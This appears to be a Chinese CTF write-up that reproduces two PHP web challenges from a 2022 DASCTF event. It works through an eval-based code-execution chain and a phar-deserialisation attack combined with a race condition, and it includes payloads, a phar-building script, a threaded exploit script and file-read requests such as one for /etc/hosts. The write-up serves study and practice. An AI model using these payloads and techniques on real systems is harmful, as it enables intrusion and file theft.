2022DASCTF Apr X FATE 防疫挑战赛赛后复现

warmup-php

题目给出了几个类的源码,继承关系如下

源码

Base.php

<?php

class Base
{

    public function __get($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter)) {
            return $this->$getter();
        } else {
            throw new Exception("error property {$name}");
        }
    }

    public function __set($name, $value)
    {
        $setter = 'set' . $name;
        if (method_exists($this, $setter)) {
            return $this->$setter($value);
        } else {
            throw new Exception("error property {$name}");
        }

    }

    public function __isset($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter))
            return $this->$getter() !== null;

        return false;
    }

    public function __unset($name)
    {
        $setter = 'set' . $name;
        if (method_exists($this, $setter))
            $this->$setter(null);

    }
    public function evaluateExpression($_expression_,$_data_=array())
    {
        if(is_string($_expression_))
        {
            extract($_data_);
            return eval('return '.$_expression_.';');
        }
        else
        {
            $_data_[]=$this;
            return call_user_func_array($_expression_, $_data_);
        }
    }

}

Filter.php

<?php


class Filter extends Base
{

    public $lastModified;

    public $lastModifiedExpression;

    public $etagSeed;

    public $etagSeedExpression;
    
    public $cacheControl='max-age=3600, public';

    
    public function preFilter($filterChain)
    {

        $lastModified=$this->getLastModifiedValue();
        $etag=$this->getEtagValue();

        if($etag===false&&$lastModified===false)
            return true;

        if($etag)
            header('ETag: '.$etag);

        if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&isset($_SERVER['HTTP_IF_NONE_MATCH']))
        {
            if($this->checkLastModified($lastModified)&&$this->checkEtag($etag))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
        }
        elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
        {
            if($this->checkLastModified($lastModified))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
        }
        elseif(isset($_SERVER['HTTP_IF_NONE_MATCH']))
        {
            if($this->checkEtag($etag))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }

        }

        if($lastModified)
            header('Last-Modified: '.gmdate('D, d M Y H:i:s', $lastModified).' GMT');

        $this->sendCacheControlHeader();
        return true;
    }

    
    protected function getLastModifiedValue()
    {
        if($this->lastModifiedExpression)
        {
            $value=$this->evaluateExpression($this->lastModifiedExpression);
            if(is_numeric($value)&&$value==(int)$value)
                return $value;
            elseif(($lastModified=strtotime($value))===false)
                throw new Exception("error");
            return $lastModified;
        }

        if($this->lastModified)
        {
            if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
                return $this->lastModified;
            elseif(($lastModified=strtotime($this->lastModified))===false)
                throw new Exception("error");
            return $lastModified;
        }
        return false;
    }

    
    protected function getEtagValue()
    {
        if($this->etagSeedExpression)
            return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
        elseif($this->etagSeed)
            return $this->generateEtag($this->etagSeed);
        return false;
    }

    
    protected function checkEtag($etag)
    {
        return isset($_SERVER['HTTP_IF_NONE_MATCH'])&&$_SERVER['HTTP_IF_NONE_MATCH']==$etag;
    }

    
    protected function checkLastModified($lastModified)
    {
        return isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])>=$lastModified;
    }

    
    protected function send304Header()
    {
        header('HTTP/1.1 304 Not Modified');
    }
    
    protected function generateEtag($seed)
    {
        return '"'.base64_encode(sha1(serialize($seed),true)).'"';
    }
}

ListView.php

<?php

//该类为抽象类,不能被实例化,但可以实例化其子类,并且其子类拥有父类的所有方法与属性
abstract class ListView extends Base
{

    public $tagName='div';
    public $template;

    public function run()
    {
        echo "<".$this->tagName.">\n";
        $this->renderContent();
        echo "<".$this->tagName.">\n";
    }


    public function renderContent()
    {
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
    }


    protected function renderSection($matches)
    {
        $method='render'.$matches[1];
        if(method_exists($this,$method))
        {
            $this->$method();
            $html=ob_get_contents();
            ob_clean();
            return $html;
        }
        else
            return $matches[0];
    }
}

TestView.php

<?php

class TestView extends ListView
{
    const FILTER_POS_HEADER='header';
    const FILTER_POS_BODY='body';

    public $columns=array();
    
    public $rowCssClass=array('odd','even');
    
    public $rowCssClassExpression;
    
    public $rowHtmlOptionsExpression;
    
    public $selectableRows=1;

    public $data=array();
    public $filterSelector='{filter}';
    
    public $filterCssClass='filters';
    
    public $filterPosition='body';
    
    public $filter;
    
    public $hideHeader=false;
    


    
    public function renderTableHeader()
    {
        if(!$this->hideHeader)
        {
            echo "<thead>\n";

            if($this->filterPosition===self::FILTER_POS_HEADER)
                $this->renderFilter();


            if($this->filterPosition===self::FILTER_POS_BODY)
                $this->renderFilter();

            echo "</thead>\n";
        }
        elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY))
        {
            echo "<thead>\n";
            $this->renderFilter();
            echo "</thead>\n";
        }
    }
    
    public function renderFilter()
    {
        if($this->filter!==null)
        {
            echo "<tr class=\"{$this->filterCssClass}\">\n";

            echo "</tr>\n";
        }
    }
    
    public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }

        if($this->rowCssClassExpression!==null)
        {
            $data=$this->dataProvider->data[$row];
            $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
        }
        elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
            $class=$this->rowCssClass[$row%$n];

        if(!empty($class))
        {
            if(isset($htmlOptions['class']))
                $htmlOptions['class'].=' '.$class;
            else
                $htmlOptions['class']=$class;
        }
    }
    public function renderTableBody()
    {
        $data=$this->data;
        $n=count($data);
        echo "<tbody>\n";

        if($n>0)
        {
            for($row=0;$row<$n;++$row)
                $this->renderTableRow($row);
        }
        else
        {
            echo '<tr><td colspan="'.count($this->columns).'" class="empty">';

            echo "</td></tr>\n";
        }
        echo "</tbody>\n";
    }

}

index.php

 <?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);
?> 

源码分析

index.php中,我们能够初始化以上任意一个类,并且给类属性赋值,最后再调用类的run()方法。

Base#evaluateExpression方法中存在eval可控代码执行

...
public function evaluateExpression($_expression_,$_data_=array())
    {
        if(is_string($_expression_))
        {
            extract($_data_);
            return eval('return '.$_expression_.';');
        }
        else
        {
            $_data_[]=$this;
            return call_user_func_array($_expression_, $_data_);
        }
    }
...

因此我们的目标就明确了,利用链的终点应该为evaluateExpression()函数,下面我们找一下哪里调用了该函数。

我们一共找到三处,分别在Filter#getEtagValueFilter#getLastModifiedValue以及TestView#renderTableRow

//Filter.php

...
protected function getEtagValue()
    {
        if($this->etagSeedExpression)
            return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
        elseif($this->etagSeed)
            return $this->generateEtag($this->etagSeed);
        return false;
    }
...

...
protected function getLastModifiedValue()
    {
        if($this->lastModifiedExpression)
        {
            $value=$this->evaluateExpression($this->lastModifiedExpression);
            if(is_numeric($value)&&$value==(int)$value)
                return $value;
            elseif(($lastModified=strtotime($value))===false)
                throw new Exception("error");
            return $lastModified;
        }

        if($this->lastModified)
        {
            if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
                return $this->lastModified;
            elseif(($lastModified=strtotime($this->lastModified))===false)
                throw new Exception("error");
            return $lastModified;
        }
        return false;
    }
...
//TestView.php

...
public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }
...
    }
...

如果我们想要调用Filter中的getter,可以通过Base类中的__get()魔术方法

public function __get($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter)) {
            return $this->$getter();
        } else {
            throw new Exception("error property {$name}");
        }
    }

但是在index.php中对属性是进行赋值操作的,只会调用到__set()方法,因此Filter这条路走不通。

但别忘了,index.php中调用了类的run()方法,在ListView#run

public function run()
    {
        echo "<".$this->tagName.">\n";
        $this->renderContent();
        echo "<".$this->tagName.">\n";
    }

跟进ListView#renderContent

public function renderContent()
    {
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
    }

这里使用了一个正则回调函数,匹配template参数,并将匹配到的内容作为回调函数$this->renderSection()的参数。我们接着来看ListView#renderSection

protected function renderSection($matches)
    {
        $method='render'.$matches[1];
        if(method_exists($this,$method))
        {
            $this->$method();
            $html=ob_get_contents();
            ob_clean();
            return $html;
        }
        else
            return $matches[0];
    }

该方法能够调用任意rend开头的无参方法,于是我们可以将匹配到的内容控制为TableBody,这样就会调用renderTableBody()方法,注意这里的$data参数必须不为空,才能调用最终的renderTableRow()方法

public function renderTableBody()
    {
        $data=$this->data;
        $n=count($data);
        echo "<tbody>\n";

        if($n>0)
        {
            for($row=0;$row<$n;++$row)
                $this->renderTableRow($row);
        }
        else
        {
            echo '<tr><td colspan="'.count($this->columns).'" class="empty">';

            echo "</td></tr>\n";
        }
        echo "</tbody>\n";
    }

最终在Testview#renderTableRow中调用evaluateExpression()

 public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }
...
}

最终调用链如下

TestView#run()
TestView#renderContent()
TestView#renderSection($matches)
TestView#renderTableBody()
TestView#renderTableRow($row)
TestView#evaluateExpression(TestView->rowHtmlOptionsExpression)

构造Payload如下

/?action=TestView

POST:
properties[template]={TableBody}&properties[data]=1&properties[rowHtmlOptionsExpression]=system("/readflag")

soeasy_php

题目提供上传功能,查看源码发现edit.php

尝试发包,发现能够更改头像

edit.php会将uploads/head.png覆盖为我们POST过去的文件名,考虑可能存在任意文件读取

png=/etc/hosts&flag=1

直接读取目录下文件

png=/var/www/html/upload.php&flag=1
png=/var/www/html/edit.php&flag=1
#uplaod.php

<?php
if (!isset($_FILES['file'])) {
    die("请上传头像");
}

$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
    echo "上传成功: ".$path;
};
<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}


if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }

    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
    }
}

根目录下虽然有/flag,但是我们是没有权限读的,想要读flag就必须依靠下面的类将flag写入/tmp/flag.txt

class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }
}

该类会自动调用copyflag()写入flag,但问题是我们如何实例化该类呢?

我们在正则过滤中能够发现phar关键字,并且代码中存在的unlink()等函数都暗示解题思路可能是Phar反序列化。

下面的问题是如何触发phar,filewrite()函数中调用了unlink(),但filewrite函数的文件名都不可控。想要触发phar,则需要依靠下面的部分

...
$head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
...

想要调用到unlink()来触发phar,那么symlink()函数就需要返回false。下面的问题就是如何让symlink函数返回false

下面有两种思路

  • 如果链接$link是一个已存在的文件,则symlink会返回false。但上述代码在symlink之前执行了unlink(),强制让文件不存在。因此这里需要条件竞争来让symlink报错
  • $target添加脏数据来让symlink报错

绕过symlink之后,flag就会被写入/tmp/flag.txt。但我们在读取/tmp/flag.txt时,后端又会将我们传入的$flag写入/tmp/flag.txt,从而覆盖掉flag,因此这里也需要条件竞争读取flag。

if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            //读取时会覆盖掉flag
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
...
}

生成Phar文件

<?php

class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

$a = new flag();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("a.txt", "a");
$phar->stopBuffering();

上传phar,获得文件名uploads/fe409167fb98b72dcaff5486a612a575.png。然后通过添加脏数据触发unlink

此时我们的数据已经被写入/tmp/flag.txt,下面的工作就是条件竞争了,脚本如下

import requests
import threading
import time


url="http://3878e57a-1b4a-487f-a84a-dc3d97b18714.node4.buuoj.cn:81/"
phar=r"phar://uploads/fe409167fb98b72dcaff5486a612a575.png/a.txtaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
flag=r"/tmp/flag.txt"
head="uploads/head.png"
s=requests.session()
proxies={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}

#触发phar
def uunlink():
    path="edit.php"
    data={
        "png":phar,
        "flag":"1"
    }
    r=s.post(url+path,data,proxies=proxies)
    if r.status_code==429:
        time.sleep(1)

#更改head.png为flag
def change():
    path="edit.php"
    data={
        "png":flag,
        "flag":"1"
    }
    r=s.post(url+path,data)
    if r.status_code==429:
        time.sleep(1)

#读取flag
def read_flag():
    path=head
    r=s.get(url+path)
    if r.status_code==429:
        time.sleep(1)
    else:
        print(r.text)


while True:
    thread1=threading.Thread(target=uunlink)
    thread1.start()
    thread2=threading.Thread(target=change)
    thread2.start()
    thread3=threading.Thread(target=read_flag)
    thread3.start()

warmup-java

